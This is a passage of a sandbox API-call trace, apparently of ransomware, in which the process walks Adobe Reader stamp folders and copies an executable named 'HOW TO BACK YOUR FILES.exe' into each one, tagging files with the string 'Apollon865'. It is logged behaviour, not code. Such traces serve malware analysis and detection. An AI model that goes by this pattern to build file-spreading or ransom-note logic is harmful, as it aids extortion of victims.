	[0058.055] lstrlenW (lpString="Faces.pdf") returned 9
	[0058.055] lstrlenW (lpString="Apollon865") returned 10
	[0058.055] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0058.055] lstrlenW (lpString="Pointers.pdf") returned 12
	[0058.055] lstrlenW (lpString="Apollon865") returned 10
	[0058.055] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0058.055] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.055] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.055] lstrlenW (lpString="Apollon865") returned 10
	[0058.055] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.056] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0058.056] lstrlenW (lpString="Standard.pdf") returned 12
	[0058.056] lstrlenW (lpString="Apollon865") returned 10
	[0058.056] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0058.056] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.056] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.056] lstrlenW (lpString="Apollon865") returned 10
	[0058.056] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.056] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV"
	[0058.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5b78 | out: hHeap=0x580000) returned 1
	[0058.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0058.056] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV") returned 79
	[0058.056] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV"
	[0058.056] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.064] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.064] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aad5050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aad5050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.064] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.064] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.064] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.064] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.064] lstrlenW (lpString="Apollon865") returned 10
	[0058.064] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.064] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0058.064] lstrlenW (lpString="Faces.pdf") returned 9
	[0058.064] lstrlenW (lpString="Apollon865") returned 10
	[0058.064] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0058.064] lstrlenW (lpString="Pointers.pdf") returned 12
	[0058.064] lstrlenW (lpString="Apollon865") returned 10
	[0058.064] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0058.064] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.065] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.065] lstrlenW (lpString="Apollon865") returned 10
	[0058.065] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.065] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0058.065] lstrlenW (lpString="Standard.pdf") returned 12
	[0058.065] lstrlenW (lpString="Apollon865") returned 10
	[0058.065] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0058.065] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.065] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.065] lstrlenW (lpString="Apollon865") returned 10
	[0058.065] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.065] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA"
	[0058.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ad0 | out: hHeap=0x580000) returned 1
	[0058.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0058.065] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA") returned 79
	[0058.065] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA"
	[0058.065] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.065] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.079] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.079] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aafb1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aafb1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.079] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.079] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.079] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.079] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.080] lstrlenW (lpString="Apollon865") returned 10
	[0058.080] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.080] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.080] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.080] lstrlenW (lpString="Apollon865") returned 10
	[0058.080] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.080] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.080] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.080] lstrlenW (lpString="Apollon865") returned 10
	[0058.080] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.080] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ"
	[0058.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5a28 | out: hHeap=0x580000) returned 1
	[0058.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0058.080] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ") returned 79
	[0058.080] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ"
	[0058.080] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.080] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.088] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.088] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ab21310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ab21310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.088] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.088] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.088] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.088] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.088] lstrlenW (lpString="Apollon865") returned 10
	[0058.088] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.088] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0058.088] lstrlenW (lpString="Faces.pdf") returned 9
	[0058.088] lstrlenW (lpString="Apollon865") returned 10
	[0058.088] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0058.089] lstrlenW (lpString="Pointers.pdf") returned 12
	[0058.089] lstrlenW (lpString="Apollon865") returned 10
	[0058.089] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0058.089] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.089] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.089] lstrlenW (lpString="Apollon865") returned 10
	[0058.089] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.089] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0058.089] lstrlenW (lpString="Standard.pdf") returned 12
	[0058.089] lstrlenW (lpString="Apollon865") returned 10
	[0058.089] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0058.089] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.089] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.089] lstrlenW (lpString="Apollon865") returned 10
	[0058.089] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.089] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP"
	[0058.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5980 | out: hHeap=0x580000) returned 1
	[0058.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0058.089] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP") returned 79
	[0058.089] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP"
	[0058.089] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.089] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.097] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.097] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ab21310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ab21310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.097] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.097] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.097] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.097] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.097] lstrlenW (lpString="Apollon865") returned 10
	[0058.097] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.098] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.098] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.098] lstrlenW (lpString="Apollon865") returned 10
	[0058.098] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.098] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.098] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.098] lstrlenW (lpString="Apollon865") returned 10
	[0058.098] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.098] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU"
	[0058.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0058.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0058.098] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU") returned 79
	[0058.098] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU"
	[0058.098] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.107] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.107] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ab47470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ab47470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.107] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.107] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.107] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.107] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.107] lstrlenW (lpString="Apollon865") returned 10
	[0058.107] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.107] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.107] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.107] lstrlenW (lpString="Apollon865") returned 10
	[0058.107] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.107] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.107] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.107] lstrlenW (lpString="Apollon865") returned 10
	[0058.107] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.108] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU"
	[0058.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afbb0 | out: hHeap=0x580000) returned 1
	[0058.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0058.108] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU") returned 79
	[0058.108] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU"
	[0058.108] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.108] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.114] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.114] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ab6d5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ab6d5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.114] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.114] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.114] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.114] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.114] lstrlenW (lpString="Apollon865") returned 10
	[0058.114] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.115] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.115] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.115] lstrlenW (lpString="Apollon865") returned 10
	[0058.115] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.115] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.115] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.115] lstrlenW (lpString="Apollon865") returned 10
	[0058.115] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.115] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN"
	[0058.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb08 | out: hHeap=0x580000) returned 1
	[0058.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0058.115] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN") returned 79
	[0058.115] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN"
	[0058.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
